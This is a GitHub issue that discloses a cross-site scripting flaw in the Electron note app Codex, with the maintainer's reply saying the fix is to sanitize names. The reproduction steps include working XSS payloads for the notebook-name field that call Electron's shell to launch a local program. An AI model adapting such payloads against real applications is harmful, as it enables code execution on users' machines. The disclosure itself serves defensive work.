Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Code Execution vulnerability on Codex #8

Closed
soulfoodisgood opened this issue Sep 10, 2021 · 1 comment
Closed

Code Execution vulnerability on Codex #8

soulfoodisgood opened this issue Sep 10, 2021 · 1 comment
Labels
bug Something isn't working

Comments

@soulfoodisgood
Copy link

soulfoodisgood commented Sep 10, 2021

Issue

Cross-site scripting(XSS) on Codex Notebook/Page name lead to code execution.

Reproduction

  1. Open Codex
  2. Create new Notebook
  3. Insert payload on the Notebook(or page) name field
    On Mac
    <a href=x onmouseover="require('electron').shell.openExternal('file:///System/Applications/Calculator.app')">test</a>
    On Windows
    <a href=x onmouseover="require('electron').shell.openExternal('C:/Windows/System32/calc.exe')">test</a>
  4. Once you move your mouse over the link "test" , Calculator will be opened.

截圖 2021-09-10 下午4 59 27

Mitigation

Disable nodeIntegration

@jcv8000 jcv8000 added the bug Something isn't working label Sep 10, 2021
@jcv8000
Copy link
Owner

jcv8000 commented Sep 10, 2021

Thank you very much for letting me know about this. I've made it so that it sanitizes/escapes the notebook's name/icon text and page's name.

About disabling nodeIntegration, I'm going to do a project rewrite soon that will make the main/renderer processes interact the way they're supposed to do securely, and that'll include disabling nodeIntegration. But I just wanted to get this fix out quickly and that rewrite is gonna take a while

@jcv8000 jcv8000 closed this as completed Sep 10, 2021
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

2 participants